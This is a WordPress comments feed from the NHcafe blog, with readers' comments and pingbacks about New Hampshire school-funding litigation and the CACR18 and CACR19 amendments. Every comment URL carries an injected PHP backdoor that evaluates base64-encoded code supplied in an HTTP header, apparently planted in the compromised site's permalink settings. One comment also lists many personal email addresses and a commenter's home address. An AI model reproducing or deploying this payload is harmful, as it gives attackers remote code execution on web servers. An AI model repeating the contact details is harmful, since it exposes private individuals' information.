Comments for NHcafe http://www.nhcafe.com/blog New Hampshire Communities for Adequate Funding of Education Mon, 06 Sep 2010 14:36:33 +0000 http://wordpress.org/?v=2.7 hourly 1 Comment on Celebrate what? by city of portsmouth Blog » Blog Archive » Former Portsmouth, NH mayor Eveyln Sirrell dies http://www.nhcafe.com/blog/2005/10/02/celebrate-what/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-56154 city of portsmouth Blog » Blog Archive » Former Portsmouth, NH mayor Eveyln Sirrell dies Sat, 09 May 2009 14:12:16 +0000 http://www.nhcafe.com/blog/?p=340#comment-56154 [...] celebrate what? [...] [...] celebrate what? [...]

]]> Comment on Amendment to end school funding fight? by Richard Elliott http://www.nhcafe.com/blog/2008/02/07/amendment-to-end-school-funding-fight/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-15364 Richard Elliott Fri, 08 Feb 2008 15:20:24 +0000 http://www.nhcafe.com/blog/?p=811#comment-15364 Mr. Van Loan makes a great argument for additional funds going to needy school districts. Unfortunately the money does not help those that need the help. It does subsidize the wealthiest in these towns while adding higher taxes to the lower income in the so called wealthy communities. His argument regarding a reasonable definition of adequacy leaves me puzzled. Does he agree that what the committee determined was an adequate education meet his standards? Wow, would he accept this for his children? The price tag for adequacy and the argument that if we funded at a higher level would cause the need for a broad-based tax is laughable. New Hampshire spent over $2.2 billion for education last year. All but about $400 million was from property taxes, either state or local. We are already taxing ourselves for this obligation. A broad-based tax would simply tax in a more proportional manner. Hopefully with ability to pay as the main feature. Our constitution demands that we all contribute our fair share. Taxing some at 20% of their income while taxing others at 2% for the same state mandated obligation does not meet this requirement. Forcing school districts to fund locally the endless mandates not included in the adequacy definition should not pass the constitutional requirements under 28-a. Mr. Van Loan makes a great argument for additional funds going to needy school districts. Unfortunately the money does not help those that need the help. It does subsidize the wealthiest in these towns while adding higher taxes to the lower income in the so called wealthy communities.
His argument regarding a reasonable definition of adequacy leaves me puzzled. Does he agree that what the committee determined was an adequate education meet his standards?
Wow, would he accept this for his children? The price tag for adequacy and the argument that if we funded at a higher level would cause the need for a broad-based tax is laughable. New Hampshire spent over $2.2 billion for education last year. All but about $400 million was from property taxes, either state or local. We are already taxing ourselves for this obligation. A broad-based tax would simply tax in a more proportional manner. Hopefully with ability to pay as the main feature.
Our constitution demands that we all contribute our fair share. Taxing some at 20% of their income while taxing others at 2% for the same state mandated obligation does not meet this requirement. Forcing school districts to fund locally the endless mandates not included in the adequacy definition should not pass the constitutional requirements under 28-a.

]]> Comment on Chuck Douglas: All must obey the Supreme School Board by NHcafe » Blog Archive » Education Funding and the Constitution http://www.nhcafe.com/blog/2006/09/14/chuck-douglas-all-must-obey-the-supreme-school-board/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-15263 NHcafe » Blog Archive » Education Funding and the Constitution Tue, 05 Feb 2008 16:01:19 +0000 http://www.nhcafe.com/blog/?p=614#comment-15263 [...] Chuck Douglas ” deeply believe it is highly destructive of our constitutional system if an unelected Supreme Court made up of five lawyers decides what an “adequate education” in New Hampshire means.” HERE for the rest of the story [...] [...] Chuck Douglas ” deeply believe it is highly destructive of our constitutional system if an unelected Supreme Court made up of five lawyers decides what an “adequate education” in New Hampshire means.” HERE for the rest of the story [...]

]]> Comment on a DEAL for next year? by NHcafe » Blog Archive » In a bind? http://www.nhcafe.com/blog/2005/06/15/a-deal-for-next-year/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-15262 NHcafe » Blog Archive » In a bind? Tue, 05 Feb 2008 15:59:01 +0000 http://www.nhcafe.com/blog/?p=95#comment-15262 [...] Look at the chart HERE it looks like next year again after towns vote and send out the bill it will be reduced again! Look HERE. [...] [...] Look at the chart HERE it looks like next year again after towns vote and send out the bill it will be reduced again! Look HERE. [...]

]]> Comment on Save the Money! State is short for funding education! by NHcafe » Blog Archive » Put a portion of the surplus towards the state’s “rainy day” fund http://www.nhcafe.com/blog/2005/07/15/save-the-money-state-is-short-for-funding-education/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-15261 NHcafe » Blog Archive » Put a portion of the surplus towards the state’s “rainy day” fund Tue, 05 Feb 2008 15:43:28 +0000 http://www.nhcafe.com/blog/?p=218#comment-15261 [...] Click HERE for More “Gov. Lynch said he, too, prefers to build up state reserves.” And Click HERE for even More “Revenue burns hole in Lynch’s pocket “ [...] [...] Click HERE for More “Gov. Lynch said he, too, prefers to build up state reserves.” And Click HERE for even More “Revenue burns hole in Lynch’s pocket “ [...]

]]> Comment on NHcafe assent’s to dismissal IF… by Carl Ladd, Superintendent - SAU #58 http://www.nhcafe.com/blog/2007/08/14/nhcafe-assents-to-dismissal-if/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-11677 Carl Ladd, Superintendent - SAU #58 Wed, 05 Sep 2007 20:57:01 +0000 http://www.nhcafe.com/blog/?p=799#comment-11677 It seems no surprise to me that the State is once again playing politics with education funding and is trying to sidestep its responsibilities in costing an adequate education and determining a funding mechanism. It doesn't seem to matter whether the Republicans or the Democrats are in control of the Legislature on this issue. It's disappointing but not surprising... It seems no surprise to me that the State is once again playing politics with education funding and is trying to sidestep its responsibilities in costing an adequate education and determining a funding mechanism. It doesn’t seem to matter whether the Republicans or the Democrats are in control of the Legislature on this issue. It’s disappointing but not surprising…

]]> Comment on NHcafe assent’s to dismissal IF… by NHcafe » Blog Archive » NHcafe deaply dismayed by State’s inability to act http://www.nhcafe.com/blog/2007/08/14/nhcafe-assents-to-dismissal-if/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-11676 NHcafe » Blog Archive » NHcafe deaply dismayed by State’s inability to act Wed, 05 Sep 2007 19:39:53 +0000 http://www.nhcafe.com/blog/?p=799#comment-11676 [...] This afternoon Attorney’s for the 18 member communities and schools of NHcafe filled a sharp response to the State’s response to the Courts order of July 20th.  The State requested and was granted the opportunity to file a response after they could review our position.  Pleased with the “Good Faith” efforts so far we offered an olive branch. Our complete position and filing on August 14th can be seen HERE. We, NHCafe, had agreed to drop our case without prejudice if the State would make a good faith effort to cost an Adequate Education, fund it and ensure that there was an appropriate accountability system in place by July 30, 2008.  We were deeply dismayed by the State’s response and the Amicus Briefs filed by the President of the Senate and the Speaker of the House that indicated that they were not willing to determine the cost, fund and ensure an accountability system at any time in the foreseeable future.  This inability or lack of desire to comply with a series of court rulings over the past 20 years is detrimental to the continued health and viability of the public education system and in turn, the economy of our great state. [...] [...] This afternoon Attorney’s for the 18 member communities and schools of NHcafe filled a sharp response to the State’s response to the Courts order of July 20th.  The State requested and was granted the opportunity to file a response after they could review our position.  Pleased with the “Good Faith” efforts so far we offered an olive branch. Our complete position and filing on August 14th can be seen HERE. We, NHCafe, had agreed to drop our case without prejudice if the State would make a good faith effort to cost an Adequate Education, fund it and ensure that there was an appropriate accountability system in place by July 30, 2008.  We were deeply dismayed by the State’s response and the Amicus Briefs filed by the President of the Senate and the Speaker of the House that indicated that they were not willing to determine the cost, fund and ensure an accountability system at any time in the foreseeable future.  This inability or lack of desire to comply with a series of court rulings over the past 20 years is detrimental to the continued health and viability of the public education system and in turn, the economy of our great state. [...]

]]> Comment on CACR18 gone today, CACR19 here tomorrow by Serena Caesar http://www.nhcafe.com/blog/2007/06/09/cacr18-gone-today-cacr19-here-tomorrow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-10728 Serena Caesar Tue, 12 Jun 2007 11:33:03 +0000 http://www.nhcafe.com/blog/?p=783#comment-10728 Please vote against this amendment. Thank you. Please vote against this amendment.
Thank you.

]]> Comment on CACR18 gone today, CACR19 here tomorrow by NHcafe » Blog Archive » Contact your reps to vote against CACR19 http://www.nhcafe.com/blog/2007/06/09/cacr18-gone-today-cacr19-here-tomorrow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-10724 NHcafe » Blog Archive » Contact your reps to vote against CACR19 Mon, 11 Jun 2007 21:47:24 +0000 http://www.nhcafe.com/blog/?p=783#comment-10724 [...] NHcafe New Hampshire Communities for Adequate Funding of Education « CACR18 gone today, CACR19 here tomorrow [...] [...] NHcafe New Hampshire Communities for Adequate Funding of Education « CACR18 gone today, CACR19 here tomorrow [...]

]]> Comment on Call to action, Contact the Finance Commitee by Tom Dolan http://www.nhcafe.com/blog/2007/04/27/call-to-action-contact-the-finance-commitee/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/comment-page-1/#comment-10314 Tom Dolan Tue, 08 May 2007 17:10:55 +0000 http://www.nhcafe.com/blog/?p=767#comment-10314 Borrowing heavily from the NHCafe posting, I sent the below correspondence to the House Finance Committee members: To: sharon.nordgren@valley.net, peter.franklin@leg.state.nh.us, johndejoie@yahoo.com, agj@theworld.com, neal.kurk@leg.state.nh.us, larry.emerton@leg.state.nh.us, fred.king@leg.state.nh.us, russ_and_lynne.ober@comcast.net, linda.foster@leg.state.nh.us, ben.baroody@leg.state.nh.us, david.smith@leg.state.nh.us, mmcleod@nchcnh.org, kweyler@aol.com, kensel@att.net, eatonsstore@juno.com, PRLeishman@aol.com, tombuco@yahoo.com, bonniegay@comcast.net, mattwenfran@verizon.net, sbs2093@aol.com, rfoose@tds.net, blbenn@valley.net, marjorie.smith@leg.state.nh.us I am writing to you today to urge you to defeat CACR 18. CACR 18 would establish in our constitution an acceptable funding level of about only half of education adequacy. Simply funding only a partial amount of adequacy does not meet the spirit of the Claremont decisions, which have made clear the state’s commitment to **all** children and it’s “obligation to underwrite the cost of an adequate education for each educable child.” This Amendment is simply a disappointing method to try to change the rules after the outcome of the recent court case was not what the Governor and General Court wanted. As state representatives on the Finance Committee, please step up and fulfill the constitutional requirement for education adequacy. You took an oath to uphold the constitution - please do it. Anything less betrays the trust the children and taxpayers alike have in the state government's process. Tom Dolan 19 Isabella Drive Londonderry, NH 03053 Borrowing heavily from the NHCafe posting, I sent the below correspondence to the House Finance Committee members:

To: sharon.nordgren@valley.net, peter.franklin@leg.state.nh.us, johndejoie@yahoo.com, agj@theworld.com, neal.kurk@leg.state.nh.us, larry.emerton@leg.state.nh.us, fred.king@leg.state.nh.us, russ_and_lynne.ober@comcast.net, linda.foster@leg.state.nh.us, ben.baroody@leg.state.nh.us, david.smith@leg.state.nh.us, mmcleod@nchcnh.org, kweyler@aol.com, kensel@att.net, eatonsstore@juno.com, PRLeishman@aol.com, tombuco@yahoo.com, bonniegay@comcast.net, mattwenfran@verizon.net, sbs2093@aol.com, rfoose@tds.net, blbenn@valley.net, marjorie.smith@leg.state.nh.us

I am writing to you today to urge you to defeat CACR 18.

CACR 18 would establish in our constitution an acceptable funding level of about only half of education adequacy. Simply funding only a partial amount of adequacy does not meet the spirit of the Claremont decisions, which have made clear the state’s commitment to **all** children and it’s “obligation to underwrite the cost of an adequate education for each educable child.” This Amendment is simply a disappointing method to try to change the rules after the outcome of the recent court case was not what the Governor and General Court wanted.

As state representatives on the Finance Committee, please step up and fulfill the constitutional requirement for education adequacy. You took an oath to uphold the constitution - please do it. Anything less betrays the trust the children and taxpayers alike have in the state government’s process.

Tom Dolan
19 Isabella Drive
Londonderry, NH 03053

]]>